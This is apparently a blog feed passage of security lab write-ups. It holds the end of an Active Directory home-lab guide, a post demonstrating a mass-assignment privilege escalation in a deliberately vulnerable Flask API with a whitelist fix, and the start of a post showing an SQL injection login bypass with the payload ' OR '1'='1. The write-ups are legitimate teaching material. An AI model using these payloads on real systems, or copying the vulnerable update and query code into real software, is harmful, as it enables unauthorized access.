    &lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$ou&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;New-ADUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-SamAccountName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$sam&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-UserPrincipalName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$sam&lt;/span&gt;&lt;span class="s2"&gt;@myfirstdomain.com"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-GivenName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Surname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"OU=&lt;/span&gt;&lt;span class="nv"&gt;$ou&lt;/span&gt;&lt;span class="s2"&gt;,DC=myfirstdomain,DC=com"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AccountPassword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ConvertTo-SecureString&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"P@ssw0rd123"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AsPlainText&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-PasswordNeverExpires&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run: &lt;code&gt;./bulkusers.ps1&lt;/code&gt;. Instant org chart. Tweak for passwords, emails—go wild.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 15: Craft the Client Minion
&lt;/h1&gt;

&lt;p&gt;New VM: "CLIENT01", Windows 10 (64-bit), 2048MB RAM, 40GB disk.&lt;/p&gt;

&lt;p&gt;Attach Win10 ISO, install Pro edition. During OOBE: "I don't have internet" &amp;gt; Local account: &lt;code&gt;localuser&lt;/code&gt; / &lt;code&gt;LocalP@ss!&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Post-install: Update via NAT if you want, but skip for speed.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 16: Ping Pong—Test the Pipes
&lt;/h1&gt;

&lt;p&gt;On client: CMD &amp;gt; &lt;code&gt;ipconfig /release&lt;/code&gt; then &lt;code&gt;/renew&lt;/code&gt;. Should snag 172.16.0.x from DHCP.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ping 172.16.0.1&lt;/code&gt; (DC)—success? &lt;code&gt;ping 8.8.8.8&lt;/code&gt; (internet via NAT)—double win! &lt;code&gt;nslookup myfirstdomain.com&lt;/code&gt; resolves?&lt;/p&gt;

&lt;p&gt;If DHCP ghosts you: Ensure scope activated, client on Internal Network "LABNET". Firewall? &lt;code&gt;netsh advfirewall set allprofiles state off&lt;/code&gt; temporarily.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 17: The Sacred Join Ritual
&lt;/h1&gt;

&lt;p&gt;Client: Settings &amp;gt; System &amp;gt; About &amp;gt; Rename this PC &amp;gt; Change &amp;gt; Domain: &lt;code&gt;myfirstdomain.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Reboot prompt? Creds: &lt;code&gt;MYFIRSTDOMAIN\Administrator&lt;/code&gt; / password. Welcome screen: "Welcome to myfirstdomain.com".&lt;/p&gt;

&lt;p&gt;Pitfall: If it gripes "network path not found", DNS issue—ensure client DNS points to 172.16.0.1 (&lt;code&gt;ipconfig /all&lt;/code&gt;).&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 18: Domain Life—Login &amp;amp; Play
&lt;/h1&gt;

&lt;p&gt;Reboot, login: Other user &amp;gt; &lt;code&gt;MYFIRSTDOMAIN\jdoe&lt;/code&gt; / &lt;code&gt;P@ssw0rd123&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;CMD: &lt;code&gt;whoami&lt;/code&gt; shows domain\user. &lt;code&gt;nltest /dsgetdc:myfirstdomain.com&lt;/code&gt; confirms DC contact.&lt;/p&gt;

&lt;p&gt;Now explore: From client, access \DC01\C$ (admin share)—file sharing unlocked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnub8yzye6rzqvrtlu7m8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnub8yzye6rzqvrtlu7m8.png" alt=" " width="800" height="601"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwhjsakpplevsx27lru9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwhjsakpplevsx27lru9.png" alt=" " width="800" height="601"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h1&gt;
  
  
  The Aha Moments That Hooked Me
&lt;/h1&gt;

&lt;p&gt;This lab demystified AD's guts: LDAP queries, NTLM vs. Kerberos, the glory of delegated permissions. I learned DHCP reservations for static-ish clients, DNS scavenging to avoid stale records, and why OUs are GPO gateways.&lt;/p&gt;

&lt;p&gt;Best lesson? Failure is feature. Misconfigure DHCP? Clients go dark—trace it with Wireshark (install on host, capture on Internal). Locked out? Boot to DSRM, reset via &lt;code&gt;net user&lt;/code&gt;.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>showdev</category>
    </item>
    <item>
      <title>Day 17 — I Built a Vulnerable API to Demonstrate a Mass Assignment Attack</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Wed, 04 Mar 2026 05:20:00 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/day-17-i-built-a-vulnerable-api-to-demonstrate-a-mass-assignment-attack-20hc</link>
      <guid>https://forem.com/hafiz_shamnad/day-17-i-built-a-vulnerable-api-to-demonstrate-a-mass-assignment-attack-20hc</guid>
      <description>&lt;p&gt;Some vulnerabilities don’t need sophisticated exploits.&lt;br&gt;&lt;br&gt;
Sometimes all it takes is a backend that trusts user input a little too much.  &lt;/p&gt;

&lt;p&gt;Today I built a small Flask API to demonstrate a subtle but dangerous issue called Mass Assignment.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Idea
&lt;/h2&gt;

&lt;p&gt;Modern frameworks make development fast by automatically mapping user input into database objects. For example, when updating a user profile, developers often accept JSON data and apply it directly to the user record. Something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Convenient.&lt;br&gt;&lt;br&gt;
But also dangerous.  &lt;/p&gt;

&lt;p&gt;If the application blindly accepts every field sent by the client, an attacker can modify hidden or sensitive fields that were never meant to be user-controlled. This is where Mass Assignment vulnerabilities appear.&lt;/p&gt;

&lt;p&gt;Here's a simple diagram illustrating how a mass assignment attack flows—from the client's malicious POST request straight to unintended database updates:&lt;/p&gt;
&lt;h2&gt;
  
  
  The Lab I Built
&lt;/h2&gt;

&lt;p&gt;To demonstrate the issue, I created a small Flask API with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;User login&lt;/li&gt;
&lt;li&gt;Profile viewing&lt;/li&gt;
&lt;li&gt;Profile update endpoint&lt;/li&gt;
&lt;li&gt;Admin panel&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The database stores user information including an internal field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;is_admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Normal users should never be able to modify this. But in the vulnerable version of the API, the update endpoint trusts the client completely.&lt;/p&gt;

&lt;p&gt;I used SQLite for simplicity, but the principles apply to any ORM or direct query setup. The app runs on &lt;code&gt;localhost:5000&lt;/code&gt;, and I tested it with tools like Postman and curl to simulate requests.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Endpoint
&lt;/h2&gt;

&lt;p&gt;The problem is here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;fields&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;is_admin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;UPDATE users SET &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;=? WHERE id=?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server accepts whatever fields appear in the request body. So if a user sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "email": "new@email.com",
  "is_admin": 1
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application happily updates the admin flag. No authentication bypass. No memory corruption. Just a backend trusting the client.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploiting the Vulnerability
&lt;/h2&gt;

&lt;p&gt;First I logged in as a normal user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /login
{
  "username": "testuser",
  "password": "password123"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The API returned a session cookie.&lt;/p&gt;

&lt;p&gt;Next, I attempted to update my profile but included a hidden parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /update_profile
{
  "email": "new@email.com",
  "is_admin": 1
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server processed it without validation. Here's a visual walkthrough of a similar exploitation—showing the normal payload vs. the sneaky one that escalates privileges:&lt;/p&gt;

&lt;p&gt;Finally, I accessed the admin panel.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the system responded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Welcome Admin. System secrets unlocked.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Privilege escalation achieved. In my tests, this took under 30 seconds from login to admin access.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Happens
&lt;/h2&gt;

&lt;p&gt;Mass Assignment vulnerabilities occur when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Frameworks automatically bind user input to objects&lt;/li&gt;
&lt;li&gt;Sensitive fields exist in the model&lt;/li&gt;
&lt;li&gt;Developers fail to restrict which fields can be updated&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It is extremely common in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;REST APIs&lt;/li&gt;
&lt;li&gt;ORMs (like SQLAlchemy in Python or ActiveRecord in Rails)&lt;/li&gt;
&lt;li&gt;Auto-binding frameworks (e.g., Spring in Java)&lt;/li&gt;
&lt;li&gt;JSON request handling&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Real-world impacts? Think unauthorized role changes, over-claiming discounts in e-commerce, or even injecting payment details. OWASP lists this under A03:2021 – Injection (broader category), but it's sneaky because it feels like "just an update."&lt;/p&gt;

&lt;h2&gt;
  
  
  Fixing the Vulnerability
&lt;/h2&gt;

&lt;p&gt;The correct solution is field whitelisting. Instead of accepting every parameter, the server must explicitly define which fields users are allowed to modify.&lt;/p&gt;

&lt;p&gt;Example secure approach:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;allowed_fields&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;allowed_fields&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;UPDATE users SET &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;=? WHERE id=?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the system ignores any attempt to modify &lt;code&gt;is_admin&lt;/code&gt;. Even if an attacker sends it in the request, the server will discard it.&lt;/p&gt;

&lt;p&gt;For ORMs, use annotations like &lt;code&gt;@JsonIgnore&lt;/code&gt; in Jackson or &lt;code&gt;attr_readonly&lt;/code&gt; in SQLAlchemy to enforce this at the model level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Lesson
&lt;/h2&gt;

&lt;p&gt;This vulnerability isn't about complex hacking techniques. It's about trust boundaries. User input should never dictate how internal system fields behave. The backend must always decide what can and cannot be modified.&lt;/p&gt;

&lt;h2&gt;
  
  
  Results
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4cdlzhvuxj58n8sf6fi2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4cdlzhvuxj58n8sf6fi2.png" alt=" " width="567" height="193"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4eomlc6ww8wf3ic6vl4f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4eomlc6ww8wf3ic6vl4f.png" alt=" " width="596" height="398"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fis0anqbk8jtk9fqeukfs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fis0anqbk8jtk9fqeukfs.png" alt=" " width="594" height="230"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7r0c8stgej4jja624ow0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7r0c8stgej4jja624ow0.png" alt=" " width="613" height="120"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flwjm6ztt7guhbhdn21l4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flwjm6ztt7guhbhdn21l4.png" alt=" " width="593" height="219"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F21vhxrz4nmy5pg0vtumu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F21vhxrz4nmy5pg0vtumu.png" alt=" " width="614" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Closing Thoughts
&lt;/h2&gt;

&lt;p&gt;This small project reminded me of an important principle: Security flaws often hide in convenience. A feature designed to make development easier can quietly introduce risk if input validation is overlooked.  &lt;/p&gt;

&lt;p&gt;Today’s experiment showed how a single unvalidated parameter can transform a regular user into an administrator. And sometimes, the most dangerous bugs are the ones that look perfectly normal.&lt;/p&gt;

&lt;p&gt;If you're building APIs, run a quick audit: Scan your update endpoints for whitelisting. Tools like OWASP ZAP or even a simple Burp Suite proxy can spot these fast.&lt;/p&gt;

</description>
      <category>api</category>
      <category>python</category>
      <category>cybersecurity</category>
      <category>linux</category>
    </item>
    <item>
      <title>Day 16 — I Bypassed My Own Flask Login (And Fixed It Properly)</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Tue, 03 Mar 2026 09:37:02 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/day-16-i-bypassed-my-own-flask-login-and-fixed-it-properly-5a0j</link>
      <guid>https://forem.com/hafiz_shamnad/day-16-i-bypassed-my-own-flask-login-and-fixed-it-properly-5a0j</guid>
      <description>&lt;p&gt;Today wasn’t about building a new feature. It was about breaking one.&lt;/p&gt;

&lt;p&gt;I built a small Flask authentication system with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A login page&lt;/li&gt;
&lt;li&gt;Session-based authentication&lt;/li&gt;
&lt;li&gt;A protected dashboard&lt;/li&gt;
&lt;li&gt;SQLite as the backend&lt;/li&gt;
&lt;li&gt;A default &lt;code&gt;admin&lt;/code&gt; user&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It looked clean. It worked perfectly.&lt;/p&gt;

&lt;p&gt;And it was vulnerable by design.&lt;/p&gt;

&lt;p&gt;For the frontend UI, I used AI to generate the initial design and layout structure, then integrated it with the backend logic. It helped me move faster and focus more on the security aspect of the project.&lt;/p&gt;

&lt;p&gt;This was a controlled demonstration of one of the most important web vulnerabilities to understand: &lt;strong&gt;SQL Injection (SQLi).&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Setup
&lt;/h2&gt;

&lt;p&gt;The application used:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Flask for routing and sessions&lt;/li&gt;
&lt;li&gt;SQLite for data storage&lt;/li&gt;
&lt;li&gt;A simple users table with username and password fields&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When a user submitted the login form, the backend constructed an SQL query dynamically using the values provided in the form.&lt;/p&gt;

&lt;p&gt;The goal was simple: verify that the username and password exist in the database.&lt;/p&gt;

&lt;p&gt;The problem was not in Flask.&lt;br&gt;
Not in SQLite.&lt;br&gt;
Not in sessions.&lt;/p&gt;

&lt;p&gt;The problem was in how the query was constructed.&lt;/p&gt;


&lt;h2&gt;
  
  
  Where It Went Wrong
&lt;/h2&gt;

&lt;p&gt;The login logic embedded user input directly into the SQL statement.&lt;/p&gt;

&lt;p&gt;That means whatever the user typed into the form became part of the SQL query itself.&lt;/p&gt;

&lt;p&gt;This is where SQL injection lives.&lt;/p&gt;

&lt;p&gt;When input is inserted directly into an SQL string:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The database cannot distinguish between query structure and user data.&lt;/li&gt;
&lt;li&gt;Malicious input can alter the logic of the query.&lt;/li&gt;
&lt;li&gt;Authentication checks can be bypassed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is not a theoretical issue.&lt;br&gt;
It is a structural flaw.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Exploit
&lt;/h2&gt;

&lt;p&gt;Instead of entering the correct password, I entered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;' OR '1'='1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This changed the meaning of the SQL query.&lt;/p&gt;

&lt;p&gt;Instead of asking:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Does this username match this password?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It effectively became:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Does this username match OR is 1 equal to 1?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Since &lt;code&gt;1=1&lt;/code&gt; is always true, the WHERE condition evaluated as true.&lt;/p&gt;

